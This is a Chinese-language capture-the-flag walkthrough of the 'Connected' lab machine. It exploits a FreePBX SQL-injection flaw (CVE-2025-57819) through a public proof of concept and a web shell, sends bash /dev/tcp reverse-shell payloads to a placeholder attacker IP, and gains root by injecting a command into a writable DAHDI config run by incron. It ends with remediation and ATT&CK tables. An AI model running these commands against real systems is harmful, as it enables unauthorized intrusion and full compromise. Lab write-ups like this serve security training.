Connected 是一台基于 CentOS 的 Linux 机器,运行着集成 Asterisk 的 FreePBX v16.0.40.7 VoIP 通信系统。
攻击路径(攻击向量 / 杀伤链)由两个主要阶段组成:
asterisk 服务用户身份获取 反向 Shell。/var/spool/asterisk/sysadmin/dahdi_restart 写入时,该触发器会执行 root 脚本 /usr/sbin/sysadmin_dahdi_restart。由于 DAHDI 配置文件 /etc/dahdi/init.conf 允许 asterisk 用户写入(writable),将 反向 Shell 载荷注入该配置文件后,会以 root(uid=0)权限自动执行。渗透测试的初始步骤始于使用 nmap 进行主动侦察,以识别开放的端口、运行的服务以及系统版本。
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Nmap 参数说明:
-T4:设置时间模板为激进模式,以实现更快更高效的扫描。-sC:运行默认 NSE(Nmap 脚本引擎)脚本集合,用于基础漏洞检测。-sV:在每个响应端口上启用服务与版本检测。-oA recon/nmap_quick:将所有输出格式(标准、grepable、XML)保存到 recon 目录。Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/ 域名。由于 Web 服务器启用了虚拟主机并将流量导向 connected.htb,我们需要在 /etc/hosts 中添加本地主机名解析:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
通过浏览器访问 URL http://connected.htb/admin/config.php 会显示基于 Web 的 VoIP 管理界面:
从网页页脚中,我们获得了具体的版本信息:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7FreePBX 16.0.40.7 版本易受 CVE-2025-57819 攻击。该漏洞是一个预认证 SQL 注入,允许无凭据的(unauthenticated)攻击者操纵 FreePBX/Asterisk 的后端数据库。
通过该 SQL 注入,攻击者可以修改 Asterisk 内部的 cron 任务表(asterisk.cron_jobs),或将任意 PHP 代码注入 Web 服务器目录(生成 DAG - 检测伪影生成器 / Web Shell),最终导致远程代码执行 (RCE)。
我们利用了 WatchTowr Labs 的公开 PoC 漏洞利用程序:
# 1. 克隆漏洞利用仓库
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. 对目标运行漏洞利用脚本
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Exploit 执行结果: 脚本成功利用目标并在以下端点创建了活跃的 Webshell:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
要获得交互式会话(反向 Shell),请执行以下步骤:
在攻击者机器上打开 Netcat 监听器:
nc -lvnp 1212
通过 Web Shell 发送反向 Shell 载荷:
使用 curl 并通过 URL 编码参数发送反向 Shell 载荷:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
成功接收反向 Shell 连接:
连接进入 nc 监听器,我们获得了以 asterisk 用户身份运行的交互式 Shell 访问权限。
[asterisk@connected html]$ cat /home/asterisk/user.txt
在以 asterisk 用户身份获得访问权限后,下一步是进行内部枚举,以寻找提升至 root 权限的权限提升向量。
incron)我们检查了 incron(inotify cron 表)守护进程的配置,该服务在发生文件系统事件(如文件修改或创建)时执行命令:
[asterisk@connected html]$ cat /etc/incron.d/*
Incron 配置输出:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart 在写入操作后关闭(IN_CLOSE_WRITE)时,系统会自动以 root 权限执行脚本 /usr/sbin/sysadmin_dahdi_restart。对 /usr/sbin/sysadmin_dahdi_restart 脚本的进一步检查表明,该脚本会重启 DAHDI(Digium Asterisk 硬件设备接口)服务,并执行/加载(source)配置文件 /etc/dahdi/init.conf。
对 /etc/dahdi/init.conf 文件的权限检查显示,该文件允许 asterisk 用户写入(writable):
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
由于 /etc/dahdi/init.conf 在 DAHDI 重启时以 root 上下文执行,我们可以在该配置文件中插入反向 Shell 命令,然后通过 incron 触发重启。
在攻击者机器上打开新监听器(端口 4545):
nc -lvnp 4545
将反向 Shell 插入 /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
通过写入 Spool 文件触发 Incron 事件:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
在 incron 处理文件写入事件后的几秒钟内,root 脚本执行了注入的命令行,并产生了以 root(uid=0)身份运行的反向 Shell 连接:
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned by ikmalhanaan 🚀
| 组件 | 规格 / 说明 |
|---|
| 机器名称 | Connected |
| 操作系统 | Linux (CentOS / FreePBX Distro) |
| 目标 IP | <IP_TARGET> (connected.htb) |
| 攻击者 IP | <IP_VPN_KITA> (VPN 接口 tun0) |
| 关键漏洞 | CVE-2025-57819 (FreePBX 认证绕过与 SQLi 到 RCE) |
| 权限提升机制 | 配置错误的 Incron 守护进程钩子 + 可写的 /etc/dahdi/init.conf |
| 使用的工具 | nmap, curl, python3, netcat (nc), bash, git |
| 弱点向量 | 影响 | 修复/缓解建议 |
|---|
| FreePBX 预认证 SQLi (CVE-2025-57819) | 严重 — 允许通过数据库注入在无需认证的情况下实现 RCE。 | 将 FreePBX 更新至 Sangoma 提供的最新官方补丁版本。对所有 API 端点实施严格的输入验证以及预编译语句 / 参数化查询。 |
不安全的文件权限 (/etc/dahdi/init.conf) | 高 — 无权限用户 (asterisk) 可以修改由 root 执行的配置文件。 | 限制配置文件的所有权和写入权限:chmod 644 /etc/dahdi/init.conf 和 chown root:root /etc/dahdi/init.conf。 |
| Incron 自动 Root 执行 | 中/高 — Root 自动化脚本加载配置文件时未进行完整性验证。 | 审计所有 incron 规则和 /usr/sbin/sysadmin_* 脚本。避免加载易受非 root 用户修改的动态配置文件。 |
| 战术 | 技术 ID | 技术名称 | 在靶机上的应用 |
|---|
| 侦察 | T1595.002 | 主动扫描:漏洞扫描 | 使用 nmap 进行端口与服务扫描。 |
| 初始访问 | T1190 | 利用面向公众的应用 | 利用 FreePBX Web 服务器上的 CVE-2025-57819 漏洞。 |
| 执行 | T1059.004 | 命令和脚本解释器:Unix Shell | 通过 Web Shell 和 init 脚本执行 bash 反向 Shell 命令。 |
| 持久化 / 权限提升 | T1053.003 | 计划任务/作业:Cron | 利用 incron 守护进程自动执行 root 任务。 |
| 权限提升 | T1574.009 | 劫持执行流:路径/配置劫持 | 将恶意命令注入配置文件 /etc/dahdi/init.conf。 |
| 凭据访问 / 收集 | T1005 | 来自本地系统的数据 | 读取 user.txt 和 root.txt flag。 |